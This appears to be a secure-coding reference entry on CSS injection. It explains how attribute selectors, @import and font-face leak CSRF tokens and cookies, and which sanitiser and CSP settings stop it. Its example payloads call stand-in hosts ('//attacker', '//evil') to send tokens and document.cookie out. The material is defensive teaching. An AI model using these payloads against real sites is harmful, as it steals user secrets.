CSS Injection & Data Exfiltration via Stylesheets
Also Known As
TL;DR
Explanation
CSS injection treats stylesheets as a code-execution surface. The classic exfiltration primitive is the attribute-selector-plus-background-image trick: `input[name=csrf][value^=a] { background: url(//attacker/a) }` makes the browser request `//attacker/a` when an input's value starts with 'a' — repeat for every starting letter, then for every two-letter prefix, and the attacker reconstructs CSRF tokens, password fields, or any DOM-readable secret. Modern variants use `@import` chains for sequential leaks, `font-face unicode-range` for character-by-character extraction, and scroll-to-text fragments for Chrome-specific leaks. Beyond exfiltration, CSS injection enables UI redressing (overlaying fake forms over real ones, similar to clickjacking but persistent), defacement, and tracking pixels that bypass typical script-blocking. CSS injection is dangerous specifically because it works in environments hardened against script execution: strict CSP, sanitised HTML, no-script extensions, all permit `style` attributes or `<style>` tags. Defences: forbid `style` attributes and `<style>` tags in user-supplied HTML; if user-controlled CSS is unavoidable (themes, widgets), serve it from an isolated origin; use `unsafe-inline` style restrictions in CSP and a strict CSS sanitiser; never reflect user input into a stylesheet context (e.g. `<style> .user-color: <?= $colour ?> </style>`).
How It's Exploited
Watch Out
Common Misconception
Why It Matters
Common Mistakes
- Allowing `style` attributes through HTML sanitisers — the single most common configuration gap.
- Permitting `<style>` blocks in user-supplied content (rich-text editors, comment HTML) without parsing the CSS itself.
- Configuring CSP without `style-src` restrictions — `script-src 'self'` alone does not block this attack.
- Reflecting user input into `<style>` tags or inline `style=` attributes server-side: `style="color: <?= $userColour ?>"` accepts payloads like `red; background: url(//evil/<?=document.cookie?>)`.
- Trusting that font-face and @import are 'just resources' — both make outbound requests that can encode exfiltrated data in the URL.
Avoid When
- Application accepts no user-controlled HTML, classes, or styles, and CSP locks both script-src and style-src to 'self'.
When To Use
- Reviewing HTML sanitiser configurations for any application that accepts rich-text user content.
- Auditing CSP headers — confirming style-src restrictions match script-src.
- Checking for server-side reflection of user input into <style> blocks or style= attributes.
Code Examples
<!-- ❌ Sanitiser permits style attributes and <style> blocks -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src],span[style]');
// ^^^^^^^^^^^
// Every span can carry user-controlled CSS.
echo $purifier->purify($comment->body);
?>
<!-- Injected: <span style="background:url(//evil/leak?token=...)"> ... -->
<!-- Fires immediately on render. -->
<!-- ✅ Strip style attributes and <style> blocks; tighten CSP for styles too -->
<?php
// HTMLPurifier config:
$config->set('HTML.Allowed', 'p,br,strong,em,a[href],img[src]');
// No style attribute, no <style> tag, no class or id from user content.
echo $purifier->purify($comment->body);
?>
<!-- Server response headers: -->
<!-- Content-Security-Policy: default-src 'self'; style-src 'self'; -->
<!-- img-src 'self' data:; -->
<!-- Defence in depth: -->
<!-- 1. Sanitiser strips style/class/id from user HTML. -->
<!-- 2. CSP style-src restricts inline styles. -->
<!-- 3. Sensitive forms are rendered in isolated documents (separate origins) -->
<!-- so attribute selectors in the parent page cannot read their values. -->